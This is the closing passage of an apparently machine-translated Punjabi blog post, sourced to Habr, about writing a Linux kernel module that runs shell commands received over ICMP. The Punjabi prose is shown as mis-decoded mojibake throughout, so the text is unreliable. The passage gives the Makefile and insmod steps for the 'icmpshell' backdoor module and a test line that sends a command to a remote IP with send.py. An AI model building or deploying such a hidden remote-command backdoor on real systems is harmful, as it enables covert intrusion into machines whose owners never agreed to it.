เจ•เจฐเจจเจฒ เจฎเฉˆเจกเจฟเจŠเจฒเจพเจ‚ เจฆเฉ€ เจ…เจธเฉˆเจ‚เจฌเจฒเฉ€ เจ•เจฐเจจเจฒ เจฎเฉ‡เจ•-เจซเฉเจฐเฉ‡เจฎเจตเจฐเจ• เจฆเฉเจ†เจฐเจพ เจ•เฉ€เจคเฉ€ เจœเจพเจ‚เจฆเฉ€ เจนเฉˆเฅค เจฌเฉเจฒเจพเจ‡เจ† make เจ•เจฐเจจเจฒ เจตเจฐเจœเจจ เจจเจพเจฒ เจœเฉเฉœเฉ€ เจ‡เฉฑเจ• เจตเจฟเจธเจผเฉ‡เจธเจผ เจกเจพเจ‡เจฐเฉˆเจ•เจŸเจฐเฉ€ เจฆเฉ‡ เจ…เฉฐเจฆเจฐ (เจ‡เฉฑเจฅเฉ‡ เจชเจฐเจฟเจญเจพเจธเจผเจฟเจค เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจนเฉˆ: KERNELDIR:=/lib/modules/$(shell uname -r)/build), เจ…เจคเฉ‡ เจฎเฉ‹เจกเฉ€เจŠเจฒ เจฆเฉ€ เจธเจฅเจฟเจคเฉ€ เจตเฉ‡เจฐเฉ€เจเจฌเจฒ เจจเฉ‚เฉฐ เจฆเจฟเฉฑเจคเฉ€ เจœเจพเจ‚เจฆเฉ€ เจนเฉˆ M เจฆเจฒเฉ€เจฒเจพเจ‚ เจตเจฟเฉฑเจš icmpshell.ko เจ…เจคเฉ‡ เจธเจพเจซเจผ เจŸเจพเจฐเจ—เจฟเจŸ เจ‡เจธ เจซเจฐเฉ‡เจฎเจตเจฐเจ• เจฆเฉ€ เจชเฉ‚เจฐเฉ€ เจคเจฐเฉเจนเจพเจ‚ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจฆเฉ‡ เจนเจจเฅค IN obj-m เจ†เจฌเจœเฉˆเจ•เจŸ เจซเจพเจˆเจฒ เจจเฉ‚เฉฐ เจฆเจฐเจธเจพเจ‰เจ‚เจฆเจพ เจนเฉˆ เจœเฉ‹ เจ‡เฉฑเจ• เจฎเฉ‹เจกเฉ€เจŠเจฒ เจตเจฟเฉฑเจš เจฌเจฆเจฒเจฟเจ† เจœเจพเจตเฉ‡เจ—เจพ. เจธเฉฐเจŸเฉˆเจ•เจธ เจœเฉ‹ เจฐเฉ€เจฎเฉ‡เจ• เจ•เจฐเจฆเจพ เจนเฉˆ main.o ะฒ icmpshell.o (icmpshell-objs = main.o) เจฎเฉ‡เจฐเฉ‡ เจฒเจˆ เจฌเจนเฉเจค เจคเจฐเจ•เจธเฉฐเจ—เจค เจจเจนเฉ€เจ‚ เจฒเฉฑเจ—เจฆเจพ, เจชเจฐ เจ…เจœเจฟเจนเจพ เจนเฉ‹เจตเฉ‡เฅค

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

เจ…เจธเฉ€เจ‚ เจ‡เจ•เฉฑเจ เจพ เจ•เจฐเจฆเฉ‡ เจนเจพเจ‚: make. เจฒเฉ‹เจก เจนเฉ‹ เจฐเจฟเจนเจพ เจนเฉˆ: insmod icmpshell.ko. เจนเฉ‹ เจ—เจฟเจ†, เจคเฉเจธเฉ€เจ‚ เจœเจพเจ‚เจš เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเฉ‹: sudo ./send.py 45.11.26.232 "date > /tmp/test". เจœเฉ‡เจ•เจฐ เจคเฉเจนเจพเจกเฉ€ เจฎเจธเจผเฉ€เจจ 'เจคเฉ‡ เจ•เฉ‹เจˆ เจซเจพเจˆเจฒ เจนเฉˆ /tmp/test เจ…เจคเฉ‡ เจ‡เจธ เจตเจฟเฉฑเจš เจฌเฉ‡เจจเจคเฉ€ เจญเฉ‡เจœเฉ€ เจ—เจˆ เจฎเจฟเจคเฉ€ เจนเฉˆ, เจœเจฟเจธเจฆเจพ เจฎเจคเจฒเจฌ เจนเฉˆ เจ•เจฟ เจคเฉเจธเฉ€เจ‚ เจธเจญ เจ•เฉเจ เจ เฉ€เจ• เจ•เฉ€เจคเจพ เจ…เจคเฉ‡ เจฎเฉˆเจ‚ เจธเจญ เจ•เฉเจ เจ เฉ€เจ• เจ•เฉ€เจคเจพเฅค

เจธเจฟเฉฑเจŸเจพ

เจชเจฐเจฎเจพเจฃเฉ‚ เจตเจฟเจ•เจพเจธ เจฆเฉ‡ เจจเจพเจฒ เจฎเฉ‡เจฐเจพ เจชเจนเจฟเจฒเจพ เจ…เจจเฉเจญเจต เจฎเฉ‡เจฐเฉ€ เจ‰เจฎเฉ€เจฆ เจจเจพเจฒเฉ‹เจ‚ เจฌเจนเฉเจค เจธเฉŒเจ–เจพ เจธเฉ€เฅค เจ‡เฉฑเจฅเฉ‹เจ‚ เจคเฉฑเจ• เจ•เจฟ เจธเฉ€ เจตเจฟเฉฑเจš เจตเจฟเจ•เจธเจค เจนเฉ‹เจฃ เจฆเฉ‡ เจคเจœเจผเจฐเจฌเฉ‡ เจคเฉ‹เจ‚ เจฌเจฟเจจเจพเจ‚, เจ•เฉฐเจชเจพเจˆเจฒเจฐ เจธเฉฐเจ•เฉ‡เจคเจพเจ‚ เจ…เจคเฉ‡ เจ—เฉ‚เจ—เจฒ เจจเจคเฉ€เจœเจฟเจ†เจ‚ 'เจคเฉ‡ เจงเจฟเจ†เจจ เจ•เฉ‡เจ‚เจฆเจฐเจค เจ•เจฐเจฆเฉ‡ เจนเฉ‹เจ, เจฎเฉˆเจ‚ เจ‡เฉฑเจ• เจ•เฉฐเจฎ เจ•เจฐเจจ เจตเจพเจฒเฉ‡ เจฎเฉ‹เจกเฉ€เจŠเจฒ เจจเฉ‚เฉฐ เจฒเจฟเจ–เจฃ เจ…เจคเฉ‡ เจ‡เฉฑเจ• เจ•เจฐเจจเจฒ เจนเฉˆเจ•เจฐ เจตเจพเจ‚เจ— เจฎเจนเจฟเจธเฉ‚เจธ เจ•เจฐเจจ เจฆเฉ‡ เจฏเฉ‹เจ— เจธเฉ€, เจ…เจคเฉ‡ เจ‰เจธเฉ‡ เจธเจฎเฉ‡เจ‚ เจ‡เฉฑเจ• เจธเจ•เฉเจฐเจฟเจชเจŸ เจ•เจฟเจกเฉ€. เจ‡เจธ เจคเฉ‹เจ‚ เจ‡เจฒเจพเจตเจพ, เจฎเฉˆเจ‚ เจ•เจฐเจจเจฒ เจจเจฟเจŠเจฌเฉ€เจœเจผ เจšเฉˆเจจเจฒ 'เจคเฉ‡ เจ—เจฟเจ†, เจœเจฟเฉฑเจฅเฉ‡ เจฎเฉˆเจจเฉ‚เฉฐ เจตเจฐเจคเจฃ เจฒเจˆ เจ•เจฟเจนเจพ เจ—เจฟเจ† เจธเฉ€ schedule_work() เจ•เจพเจฒ เจ•เจฐเจจ เจฆเฉ€ เจฌเจœเจพเจ call_usermodehelper() เจ†เจชเจฃเฉ‡ เจ†เจช เจจเฉ‚เฉฐ เจนเฉเฉฑเจ• เจฆเฉ‡ เจ…เฉฐเจฆเจฐ เจ…เจคเฉ‡ เจ‰เจธ เจจเฉ‚เฉฐ เจธเจผเจฐเจฎเจฟเฉฐเจฆเจพ เจ•เฉ€เจคเจพ, เจธเจนเฉ€ เจคเฉŒเจฐ 'เจคเฉ‡ เจ‡เฉฑเจ• เจ˜เฉเจŸเจพเจฒเฉ‡ เจฆเจพ เจธเจผเฉฑเจ•. เจ•เฉ‹เจก เจฆเฉ€เจ†เจ‚ เจธเฉŒ เจฒเจพเจˆเจจเจพเจ‚ เจจเฉ‡ เจฎเฉ‡เจฐเฉ‡ เจ–เจพเจฒเฉ€ เจธเจฎเฉ‡เจ‚ เจตเจฟเฉฑเจš เจตเจฟเจ•เจพเจธ เจฆเฉ‡ เจ‡เฉฑเจ• เจนเจซเจผเจคเฉ‡ เจฆเจพ เจ–เจฐเจšเจพ เจ•เฉ€เจคเจพ. เจ‡เฉฑเจ• เจธเจซเจฒ เจคเจœเจฐเจฌเจพ เจœเจฟเจธ เจจเฉ‡ เจธเจฟเจธเจŸเจฎ เจฆเฉ‡ เจตเจฟเจ•เจพเจธ เจฆเฉ€ เจญเจพเจฐเฉ€ เจ—เฉเฉฐเจเจฒเจคเจพ เจฌเจพเจฐเฉ‡ เจฎเฉ‡เจฐเฉ€ เจจเจฟเฉฑเจœเฉ€ เจฎเจฟเฉฑเจฅ เจจเฉ‚เฉฐ เจจเจธเจผเจŸ เจ•เจฐ เจฆเจฟเฉฑเจคเจพเฅค

เจœเฉ‡ เจ•เฉ‹เจˆ เจ—เจฟเจฅเจฌ 'เจคเฉ‡ เจ•เฉ‹เจก เจธเจฎเฉ€เจ–เจฟเจ† เจ•เจฐเจจ เจฒเจˆ เจธเจนเจฟเจฎเจค เจนเฉเฉฐเจฆเจพ เจนเฉˆ, เจคเจพเจ‚ เจฎเฉˆเจ‚ เจงเฉฐเจจเจตเจพเจฆเฉ€ เจนเฉ‹เจตเจพเจ‚เจ—เจพ. เจฎเฉˆเจจเฉ‚เฉฐ เจชเฉ‚เจฐเจพ เจฏเจ•เฉ€เจจ เจนเฉˆ เจ•เจฟ เจฎเฉˆเจ‚ เจฌเจนเฉเจค เจธเจพเจฐเฉ€เจ†เจ‚ เจฎเฉ‚เจฐเจ– เจ—เจฒเจคเฉ€เจ†เจ‚ เจ•เฉ€เจคเฉ€เจ†เจ‚ เจนเจจ, เจ–เจพเจธ เจ•เจฐเจ•เฉ‡ เจœเจฆเฉ‹เจ‚ เจธเจคเจฐ เจจเจพเจฒ เจ•เฉฐเจฎ เจ•เจฐเจฆเฉ‡ เจนเฉ‹เฅค

ICMP เจ‰เฉฑเจคเฉ‡ เจชเฉเจฐเจฎเจพเจฃเฉ‚ เจธเจผเฉˆเฉฑเจฒ

เจธเจฐเฉ‹เจค: www.habr.com

เจ‡เฉฑเจ• เจŸเจฟเฉฑเจชเจฃเฉ€ เจœเฉ‹เฉœเฉ‹